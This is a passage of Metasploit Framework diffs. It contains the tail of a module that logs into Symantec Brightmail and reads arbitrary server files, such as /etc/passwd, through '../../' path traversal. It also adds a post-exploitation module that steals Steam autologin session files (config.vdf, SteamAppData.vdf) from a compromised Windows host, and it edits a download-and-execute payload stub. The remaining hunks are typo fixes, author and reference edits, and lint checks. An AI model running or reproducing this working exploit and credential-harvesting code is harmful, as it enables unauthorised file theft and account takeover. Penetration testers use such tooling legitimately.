['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Williams <ben.williams[at]ngssecure.com>',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Nov 30 2012"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(41080),
|
||||
OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as']),
|
||||
OptString.new('PASSWORD', [true, 'The password to login with'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
def auth(username, password, sid, last_login)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/brightmail/login.do',
|
||||
'headers' => {
|
||||
'Referer' => "http://#{peer}/brightmail/viewLogin.do"
|
||||
},
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
|
||||
'vars_post' => {
|
||||
'lastlogin' => last_login,
|
||||
'userLocale' => '',
|
||||
'lang' => 'en_US',
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'loginBtn' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.headers['Location']
|
||||
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
|
||||
res = send_request_cgi({
|
||||
'uri' => new_uri,
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
|
||||
})
|
||||
|
||||
return true if res and res.body =~ /Logged in as: #{username}/
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
def get_login_data
|
||||
sid = '' #From cookie
|
||||
last_login = '' #A hidden field in the login page
|
||||
|
||||
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
|
||||
if res and res.headers['Set-Cookie']
|
||||
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
|
||||
end
|
||||
|
||||
if res
|
||||
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
|
||||
end
|
||||
|
||||
return sid, last_login
|
||||
end
|
||||
|
||||
|
||||
def download_file(sid, fname)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/brightmail/export',
|
||||
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
|
||||
'vars_get' => {
|
||||
'type' => 'logs',
|
||||
'logFile' => "../../#{fname}",
|
||||
'logType' => '1',
|
||||
'browserType' => '1'
|
||||
}
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("#{peer} - Unable to download the file. The server timed out.")
|
||||
return
|
||||
elsif res and res.body.empty?
|
||||
print_error("#{peer} - File not found or empty.")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_line("")
|
||||
vprint_line(res.body)
|
||||
|
||||
f = ::File.basename(fname)
|
||||
p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
|
||||
print_good("#{peer} - File saved as: '#{p}'")
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
sid, last_login = get_login_data
|
||||
if sid.empty? or last_login.empty?
|
||||
print_error("#{peer} - Missing required login data. Cannot continue.")
|
||||
return
|
||||
end
|
||||
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
if not auth(username, password, sid, last_login)
|
||||
print_error("#{peer} - Unable to login. Cannot continue.")
|
||||
return
|
||||
else
|
||||
print_good("#{peer} - Logged in as '#{username}:#{password}'")
|
||||
end
|
||||
|
||||
fname = datastore['FILENAME']
|
||||
download_file(sid, fname)
|
||||
end
|
||||
|
||||
end
|
|
@ -61,10 +61,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
||||
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " +
|
||||
"When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
||||
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " +
|
||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
||||
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
|
||||
"When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
||||
OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
|
||||
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
|
||||
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
||||
], self.class)
|
||||
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run
|
||||
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
||||
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
||||
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
|
||||
@s_gss_neg = datastore['USE_GSS_NEGOTIATION']
|
||||
@domain_name = datastore['DOMAIN_NAME']
|
||||
|
||||
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
#client set extended security negociation
|
||||
#client set extended security negotiation
|
||||
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
|
||||
smb_cmd_negotiate(c, buff, true)
|
||||
else
|
||||
|
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def smb_cmd_session_setup(c, buff, esn)
|
||||
smb = @state[c]
|
||||
|
||||
#extended security has been negociated
|
||||
#extended security has been negotiated
|
||||
if esn
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
@ -422,7 +422,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nt_cli_challenge = arg[:nt_cli_challenge]
|
||||
end
|
||||
|
||||
# Clean up the data for loggging
|
||||
# Clean up the data for logging
|
||||
if (smb[:username] == "")
|
||||
smb[:username] = nil
|
||||
end
|
||||
|
|
|
@ -27,9 +27,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
"@marcwickenden", # discovery and metasploit module
|
||||
"marcwickenden", # discovery and metasploit module
|
||||
"sinn3r", # metasploit module
|
||||
"juan vazquez", # metasploit module
|
||||
"juan vazquez" # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -34,6 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '88302'],
|
||||
['OSVDB', '88303'],
|
||||
['URL', 'http://metasploit.com']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -312,7 +312,7 @@ get_server_uri:
|
|||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/#{server_uri}", 0x00
|
||||
db "#{server_uri}", 0x00
|
||||
|
||||
create_file:
|
||||
jmp.i8 get_filename
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Steam client session Collector.',
|
||||
'Description' => %q{ This module will collect Steam session information from an
|
||||
account set to autologin. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
# All that is needed to login to another Steam account is config.vdf,
|
||||
# setting the AutoLoginUser to the proper username and RememberPassword
|
||||
# to 1 in SteamAppData.vdf.
|
||||
# Only tested on Win7 x64
|
||||
#
|
||||
# config.vdf , ContentCache element holds a K,V table of what appears
|
||||
# to be UniqueID, Session. This is purely speculation as I have not
|
||||
# reversed it to check. However the key is always unique to the account
|
||||
# and the value changes whenever the account is logged out and then
|
||||
# back in.
|
||||
def run
|
||||
steamappdata = 'SteamAppData.vdf'
|
||||
steamconfig = 'config.vdf'
|
||||
u_rx = /AutoLoginUser\W*\"(.*)\"/
|
||||
|
||||
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
|
||||
# the correct program files folder.
|
||||
# We will just use an x64 only defined env variable to check.
|
||||
if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
|
||||
progs = expand_path('%ProgramFiles(X86)%') #x64
|
||||
else
|
||||
progs = expand_path('%ProgramFiles%') #x86
|
||||
end
|
||||
path = progs + '\\Steam\\config'
|
||||
|
||||
print_status("Checking for Steam configs in #{path}")
|
||||
|
||||
# Check if all the files are there.
|
||||
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
|
||||
print_status("Located steam config files.")
|
||||
sad = read_file("#{path}\\#{steamappdata}")
|
||||
if sad =~ /RememberPassword\W*\"1\"/
|
||||
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
|
||||
scd = read_file("#{path}\\#{steamconfig}")
|
||||
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
|
||||
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
|
||||
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
|
||||
print_good("The file config.vdf has been stored on #{steam_config_path}")
|
||||
print_status("Steam configs harvested successfully!")
|
||||
else
|
||||
print_error("RememberPassword is not set, exiting.")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Steam configs not found.")
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -36,8 +36,9 @@ class Msftidy
|
|||
|
||||
##
|
||||
#
|
||||
# The following two functions only print what you throw at them.
|
||||
# With an option of displaying the line number.
|
||||
# The following two functions only print what you throw at them,
|
||||
# with the option of displying the line number. error() is meant
|
||||
# for mistakes that might actually break something.
|
||||
#
|
||||
##
|
||||
|
||||
|
@ -58,6 +59,70 @@ class Msftidy
|
|||
#
|
||||
##
|
||||
|
||||
def check_badchars
|
||||
badchars = %Q|&<=>|
|
||||
|
||||
in_super = false
|
||||
in_author = false
|
||||
|
||||
@source.each_line do |line|
|
||||
#
|
||||
# Mark our "super" code block
|
||||
#
|
||||
if !in_super and line =~ /[\n\t]+super\(/
|
||||
in_super = true
|
||||
elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
|
||||
in_super = false
|
||||
break
|
||||
end
|
||||
|
||||
#
|
||||
# While in super() code block
|
||||
#
|
||||
if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
|
||||
# Now we're checking the module titlee
|
||||
mod_title = $1
|
||||
mod_title.each_char do |c|
|
||||
if badchars.include?(c)
|
||||
error("'#{c}' is a bad character in module title.")
|
||||
end
|
||||
end
|
||||
|
||||
if not mod_title.ascii_only?
|
||||
error("Please avoid unicode in module title.")
|
||||
end
|
||||
|
||||
# Since we're looking at the module title, this line clearly cannot be
|
||||
# the author block, so no point to run more code below.
|
||||
next
|
||||
end
|
||||
|
||||
#
|
||||
# Mark our 'Author' block
|
||||
#
|
||||
if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/
|
||||
in_author = true
|
||||
elsif in_super and in_author and line =~ /\],*\n/
|
||||
in_author = false
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# While in 'Author' block, check for Twitter handles
|
||||
#
|
||||
if in_super and in_author and line =~ /['|"](.+)['|"]/
|
||||
author_name = $1
|
||||
if author_name =~ /^@.+$/
|
||||
error("No Twitter handle, please. Try leaving it in a comment instead.")
|
||||
end
|
||||
|
||||
if not author_name.ascii_only?
|
||||
error("Please avoid unicode in Author")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_extname
|
||||
if File.extname(@name) != '.rb'
|
||||
error("Module should be a '.rb' file, or it won't load.")
|
||||
|
@ -126,7 +191,7 @@ class Msftidy
|
|||
[words.first, words.last].each do |word|
|
||||
if word[0,1] =~ /[a-z]/ and word[1,1] !~ /[A-Z0-9]/
|
||||
next if word =~ /php[A-Z]/
|
||||
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM}.include? word
|
||||
next if %w{iseemedia activePDF freeFTPd osCommerce myBB qdPM inetd wallet.dat}.include? word
|
||||
warn("Improper capitalization in module title: '#{word}...'")
|
||||
end
|
||||
end
|
||||
|
@ -234,6 +299,7 @@ end
|
|||
|
||||
def run_checks(f_rel)
|
||||
tidy = Msftidy.new(f_rel)
|
||||
tidy.check_badchars
|
||||
tidy.check_extname
|
||||
tidy.test_old_rubies(f_rel)
|
||||
tidy.check_ranking
|
||||
|
|
Loading…
Reference in New Issue